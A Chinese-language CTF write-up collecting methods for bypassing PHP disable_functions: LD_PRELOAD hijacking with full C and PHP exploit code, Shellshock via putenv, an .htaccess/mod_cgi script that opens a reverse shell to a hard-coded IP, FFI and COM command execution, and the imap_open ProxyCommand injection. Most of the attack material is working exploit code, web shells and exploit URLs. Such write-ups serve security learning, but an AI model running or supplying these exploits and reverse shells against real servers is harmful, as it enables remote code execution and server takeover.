LD_PRELOAD是Linux下的环境变量
它的本意是,允许程序优先加载指定的动态库。这样能够选择不同的动态库中的相同的函数或者变量。 使用场景是:当使用别人提供的动态库,发现其中某些函数实现不合理。但不能要求别人为你修改源代码并重新生成动态库。在这种情况下,使用LD_PRELOAD可以使用自定义的代码替换别人动态库中的部分代码。
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
利用条件:
1. 能够上传自己的.so文件
2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
即:
首先我们要有上传的权限,上传的是恶意的.so文件。
然后要能够设置LD_PRELOAD这个环境变量为恶意 *.so的路径,一般都是用putenv函数设置环境变量的。
最后就是调用未被ban的函数,而该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了。
比如说mail()函数会调用系统中的sendmail函数,而由于LD_PRELOAD变量指定优先加载恶意.so文件中的sendmail函数,导致覆盖了系统的sendmail函数,这样就会执行恶意sendmail函数的恶意代码
放上GitHub上大佬的项目:bypass disable_functions via LD_PRELOAD
原理(我讲不来…)在里面讲的很详细,相关EXP也在其中
当然主要就是两个文件了:1. 一个c文件生成.so;2. 一个php文件
你可以直接到GitHub上下载,也可以用下面两大段代码生成~
1. 编写C文件:
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
用上面的C代码在Linux中执行命令生成.so文件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
2. 以下保存为:bypass_disablefunc.php文件:
echo " example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo " cmdline: "
. $evil_cmdline . "";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", ""); //调用了mail函数以加载恶意.so文件
echo " output:
"
. nl2br(file_get_contents($out_path)) . "";
unlink($out_path);
?>
得到两个文件后开始操作
先连接上蚁剑(一句话),并找一个上传点,此处我选择/tmp
路径,然后上传
http://challenge-2b0bbc9ba33f8af7.sandbox.ctfhub.com:10080/?ant=eval($_GET[1]);&1=include(%27/tmp/shell.php%27);&cmd=/readflag&outpath=/tmp/1.txt&sopath=/tmp/bypass_disablefunc_x64.so
发现无回显,原来是mail()是没有调用成功
因为mail
函数被过滤,但是mail()、imap_mail()、mb_send_mail()和error_log()
等都是可供选择的。
打开上传处的php文件,这里往php文件中添加error_log()函数:
echo " example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo " cmdline: "
. $evil_cmdline . "";
putenv("EVIL_CMDLINE=" . $evil_cmdline); #设置环境变量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
error_log("",1,"",""); #添加 error_log()
echo " output:
"
. nl2br(file_get_contents($out_path)) . "";
unlink($out_path);
?>
再次执行,发现浏览器回显成功,GETFLAG!
http://challenge-2b0bbc9ba33f8af7.sandbox.ctfhub.com:10080/?ant=eval($_GET[1]);&1=include(%27/tmp/shell.php%27);&cmd=/readflag&outpath=/tmp/1.txt&sopath=/tmp/bypass_disablefunc_x64.so
此外还可以利用插件实现,创建副本,编辑数据,将名称改为.antproxy.php保存,新产生的副本即可直接getshell
Shellshock漏洞回顾与分析测试
bash在处理含有函数定义诸如
( ) { :; }
的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行
设法让系统接受一个含有
[函数定义]+[任意命令]
的环境变量赋值则可触发[任意命令]
部分所表示的代码执行。
触发漏洞的条件:
比如以下EXP:输出了vulnerable代表有漏洞
#!bash
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
# 输出:Vulnerable this is a test
(){ }
在bash中,是环境变量来定义函数的方法
:
bash中相当于python中的pass占位符
echo vulnerable
即因为漏洞所执行的代码
bash -c "echo this is a test "
在这儿作用是产生新的bash进程,设置完环境变量后再次打开bash进程就会载入之前的环境变量从而触发代码执行
bash中定义函数一般是:
#!bash
function hello {
echo "Hello"
}
hello # 调用这个函数
但也有环境变量定义函数的方法,是bash独有的。
如果环境变量的值以字符
() {
开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。
#!bash
$ export HELLO="() { echo 'Hello'; }"
$ HELLO
-bash: HELLO: command not found
$ bash
$ HELLO
Hello
本题由于无法在终端执行命令,通过上传文件并访问的方式触发
$cmd = " tac /flag>/var/www/html/1.txt";
putenv("PHP_DMIND=() { :; };$cmd"); //设置环境变量
error_log("dmind",1); //新进程,用mail也可以
echo file_get_contents("/var/www/html/1.txt");
?>
(本题环境有问题蚁剑连不上去,就不演示了)
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
利用条件:
第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件
也可以手动解:
一个可以反弹shell的EXP:
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "
\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener "; //call the script
}
}
?>
作为PHP文件上传。然后访问这个文件后就会生成一个.htaccess文件和一个shell.dizzle文件。访问shell.dizzle即可反弹shell了
值得注意.htaccess文件的内容:
Options +ExecCGI
AddHandler cgi-script .dizzle
Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本
意思以cgi脚本的形式执行任何后缀为dizzle的文件
shell.dizzle文件内容:写入命令
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
bash -i >& /dev/tcp/119.29.60.71/2333 0>&1
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
php-fpm绕过disable function拿下菠菜
Fastcgi是cgi的升级版,为了解决不同的语言解释器(如php、python解释器)与webserver的通信,只要你按照fastcgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-Fastcgi程序就是一个cgi程序,只会解析PHP请求并返回结果,但不会管理因此出现PHP-FPM
PHP-FPM即php-Fastcgi Process Manager(php-Fastcgi进程管理器)
PHP-FPM是一个Fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据。具体的它会创建一个主进程,控制何时以及如何将HTTP请求转发给一个或多个子进程处理
动态页面的请求流程:
www.example.com/index.php
|
|
nginx
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi对根据fast-cgi协议请求包进行封装,然后将封装好的包发给php-fpm
|
|
php-fpm 据fast-cgi协议将TCP流解析成真正的数据,调用php文件
|
|
php-fpm处理完请求,返回给nginx
|
|
nginx将结果通过http返回给浏览器
webserver按照Fastcgi协议将请求包重新封装,再发给PHP-FPM程序,PHP-FPM
PHP-FPM是一个Fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据,
用蚁剑的插件来做原理可看php-fpm绕过disable function拿下菠菜
选择Fastcgi/PHP模式,地址选择127的或者localhost的都行
点击”开始“ 然后显示代理脚本上传成功,上传了/var/www/html/.antproxy.php
,然后我们创建副本并修改数据保存。在此打开这个副本即可getshell
即:释放重引用漏洞
利用的是PHP Garbage Collector程序中的堆溢出触发,影响范围为7.0-1.3
GC EXP:
在pwn($_POST["pass"]);
修改命令
# Author: https://github.com/mm0r1
pwn($_POST["pass"]);//修改命令 "ls"
...........
漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
手动上传
php-json-bypass EXP
$cmd = "/readflag"; //修改命令
$n_alloc = 10; # increase this value if you get segfaults
........
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
Backtrace EXP
直接用蚁剑插件吧…
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
利用条件:
ffi.enable=true
EXP:
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/666");
echo file_get_contents("/tmp/666");
@unlink("/tmp/666");
FFI :: cdef
用于创建一个新的FFI对象,下面代码导入的是C语言的system函数,第二个参数缺省则默认是加载标准库,当然也可以通过第二个参数指定库
$ffi = FFI::cdef("int system(const char *command);");
还看到别的Bypass方式,但没有现成靶场就懒得复现了,单纯记录一下
条件:imageMagick 版本 v6.9.3-9 或 v7.0.1-0
imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令(CVE-2016–3714)
1.com.allow_dcom = true
2.extension=php_com_dotnet.dll
3.php>5.4
4.目标服务器为Windows系统
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
CVE-2018-19518
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");